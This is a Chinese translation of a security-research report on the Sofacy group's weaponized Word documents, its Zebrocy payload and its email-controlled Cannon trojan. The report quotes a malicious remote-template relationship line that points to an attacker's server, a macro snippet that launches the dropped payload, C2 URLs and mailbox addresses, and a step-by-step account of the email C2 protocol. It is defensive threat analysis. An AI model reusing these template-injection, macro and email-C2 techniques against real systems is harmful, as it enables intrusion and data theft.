导语:​Unit 42研究人员发现Sofacy组织在攻击活动中使用一款新的Cannon木马,同时邮件被用于C2的一部分。

Unit 42检测到一系列武器化文件,这些文件可以加载包含恶意宏的远程模板。这种类型的武器化文件其实并不罕见,但由于其具有模块化的特点,因此自动分析系统很难将其识别为恶意文档。针对这种技术而言,如果C2服务器在代码执行时不可用,则无法检索到恶意代码,从而导致该文档会被判断为非恶意的。

攻击细节

最初研究人员拦截的样本是一个word文档,文件名为crash list(Lion Air Boeing 737).docx,作者Joohn。攻击的目标是欧洲处理外国食物的政府组织。一旦用户尝试打开该文档,word就会尝试加载含有恶意宏的远程模板和payload,payload在DOCX文件的settings.xml.rels的特定位置,如下所示:

<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxp://188.241.58[.]170/live/owa/office.dotm" TargetMode="External"/>

如果C2没有正常运行,文档也会打开,但是word就不能提取远程模板,也就不能加载宏。这种情况下,word也会展示诱饵文件内容给受害者,如图2所示。但是不会有启用内容(enable content)的按钮。如果C2正常运行,word就会加载远程模板,如图1所示。

                                             图1 诱饵显示

 一旦受害者按下启用内容,嵌入的宏就会执行。传播的文档中的宏使用了一种autoclose函数方法。这是一种反分析技术,因为word不会完全执行恶意代码指导用户关闭文档。如果自动化沙箱在没有退出文档的情况下退出分析过程,沙箱可能就不能完整的分析恶意活动。宏成功执行后,研究人员看到系统中保存了诱饵文件,但是保存的诱饵文件不会再显示,也不含有和原来文件名相关的内容。宏会获取保存在系统中的文档,文档是以UserForm1.Label1.Caption保存的,并且写入:

%TEMP%\~temp.docm

宏会从保存在系统中的UserForm1.Label2.Caption中获取payload,并写入:

%APPDATA%\MSDN\~msdn.exe

宏会以一种有趣的方式来执行payload:加载释放的 ~temp.docm文件,调用嵌入的宏来运行payload,研究人员认为该文档的创建者会从释放的文件中运行payload作为一种绕过技术。初始的宏使用释放的文档来执行payload可以解释为什么释放的文档中不含诱饵内容。

为了实现这一功能,将~temp.docm和~msdn.exe文件写入系统后,初始的宏会以word文档对象的形式加载 ~temp.docm文件,并尝试运行~temp.docm文件中的Module1 macro中的function Proc1。

Set WA = CreateObject("Word.Application")
WA.Visible = False
Set oMyDoc = WA.Documents.Open(vF)
WA.Application.Run "Module1.Proc1"

Module1中的Proc1函数会为释放的payload构建一个%APPDATA%\MSDN\~msdn.exe路径,并用内置的shell函数来执行:

121.png

释放到系统中的payload是用Delphi语言编写的UPX打包的Zebrocy变种。Zebrocy与之前Sofacy的攻击中使用基于Delphi的payload是非常相似的。Payload被配置为使用下面的URL来与C2进行通信:

hxxp://188.241.58[.]170/local/s3/filters.php

Zebrocy木马会收集特定的系统信息,并通过HTTP POST请求发送给C2服务器。该木马会运行SYSTEMINFO & TASKLIST命令和枚举关于连接的存储设备信息来收集信息。

也有Zebrocy变种会发送受害者主机的截图(JPEG图片格式)发送给C2服务器。然后C2服务器会提供一个payload给ASCII十六进制表示的信标,木马会解码并写入%APPDATA%\Roaming\Audio\soundfix.exe。

分析过程中,研究人员发现C2服务器还提供另一个payload,payload的功能与初始的Zebrocy样本类似。该payload也是用Delphi编写的,开发者将其配置为用HTTPS通过URL hxxps://200.122.181[.]25/catalog/products/books.php

与C2服务器通信。

Cannon木马

研究人员获取的第二个传播的文档作者也是Joohn,C2地址为188.241.58.170到托管远程模块。结构上讲,该样本与最初分析的文档非常相似,但是payload是一个新的工具——Cannon。

Cannon是用C#编写的,namespace中的恶意代码叫做cannon,因此研究人员将其命名为Cannon。木马功能主要是一个下载器,依赖邮件来完成木马和C2服务器之间的通信。为了与C2服务器通信,木马会通过SMTPS TCP 587端口发送邮件到特定的邮件地址。Cannond的特殊功能可以参见表1,该工具主要依赖于EventHandlers和计时器来以特定顺序运行方法,以增强绕过检测的能力。

 image.png

表 1 Cannon的函数和作用

Cannon的作用是使用多个邮件账号来发送系统数据给威胁单元,并最终从邮件中获取payload。如图2所示,步骤中说明了Cannon与攻击者控制的C2邮箱地址进行通信获取payload的过程:

图2 Cannon的C2处理流

1.Cannon会收集系统信息并保存到ini文件中。然后将i.ini文件以附件的形式发送到 sahro.bella7[at]post.cz,邮件主题为唯一的系统id,邮件主体为S_inf,通过SMTPS发送以下账户之一:

· Bishtr.cam47

· Lobrek.chizh

· Cervot.woprov

2.Cannon会截图并保存为ops文件。木马会发送一个含有sysscr.ops附件的邮件到sahro.bella7[at]post.cz,其中主体含有字符串Screen,主题为唯一系统id,也是通过SMTPS发送到前面提到的账户中。

3.攻击者会登入sahro.bella7[at]post.cz,处理木马发送的信息和截图来确定是否要进一步攻击被入侵的主机。如果攻击者想要下载其他的payload都被黑的主机,就会在之后的步骤中发送邮件。

4.攻击者发送邮件到trala.cosh2[at]post.cz,主题为唯一系统id,消息主体是ASCII十六进制编码的凭证和第二个邮件账户(secondary email account)。当时第二个邮件账户是不知道的,所以在之后的步骤中我们都称之为第二个邮件账户。

5.攻击者发送邮件到第二个邮件账户,邮件的主题是唯一系统id,附件是文件名为txt的第二个payload。

6.Cannon会通过POP3登陆trala.cosh2[at]post.cz账号,寻找主题与唯一系统id匹配的邮件。打开邮件,并解码消息主题中的十六进制数据来获取第二个邮件账号。

7.Cannon会发送附件为s.txt的邮件到sahro.bella7[at]post.cz来确认接收到第二个邮件账号,邮件主体为ok,主题为唯一系统ID,通过SMTPS发送到步骤1中提到的任一邮件地址。

8.攻击者会发送主体为唯一系统id的邮件到trala.cosh2[at]post.cz,其中包含Cannon Trojan用来保存第二个payload的文件路径。

9.Cannon会通过POP3S登陆第二个邮箱地址来寻找主体与唯一系统id匹配的邮件。Cannon打开主题匹配的邮件,并保存附件为auddevc.txt。

10. Cannon会发送附件为l.txt的邮件到sahro.bella7[at]post.cz来确认接收到下载的文件,邮件主体为ok2,主题为唯一系统ID,通过SMTPS发送到步骤1中提到的任一邮件地址。

11.Cannon会通过POP3S登陆trala.cosh2[at]post.cz来寻找主体与唯一系统id匹配的邮件。Cannon打开主题匹配的邮件,并解码消息中主体中的数据来获取文件路径,该文件路径会被用于移动下载的auddevc.txt文件。

12.Cannon会发送附件为s.txt的邮件到 sahro.bella7[at]post.cz来确认文件移动成功,邮件主体为ok3,主题为唯一系统ID,通过SMTPS发送到步骤1中提到的任一邮件地址。

13.Cannon会移动下载的文件到指定路径。

14.Cannon会发送附件为s.txt的邮件到 sahro.bella7[at]post.cz来确认文件成功移动,邮件主体为ok4,主题为唯一系统ID,通过SMTPS发送到步骤1中提到的任一邮件地址。

15.Cannon会从指定路径运行下载的文件。

16.Cannon会发送附件为s.txt的邮件到 sahro.bella7[at]post.cz来接收成功执行的状态,邮件主体为ok5,主题为唯一系统ID,通过SMTPS发送到步骤1中提到的任一邮件地址。

结论

Sofacy威胁组织持续攻击美国、欧盟和前苏联国家来传播Zebrocy工具作为payload。在攻击中,用来安装Zebrocy的文档会使用远程模板,这增加了分析攻击的难度。在攻击中, Sofacy组织使用了狮子航空空难作为诱饵,说明将社会热点事件应用到社会工程攻击中。

同时,研究人员发现该组织还在传播一个名为Cannon的木马,该木马使用SMTPS和POP3S作为C2的信道,而Zebrocy使用HTTP和HTTPS进行C2通信。因为SMTPS和POP3S协议提供合法的基于web的服务,这一层加密使防护者很难拦截C2信道。

源链接

Hacking more

...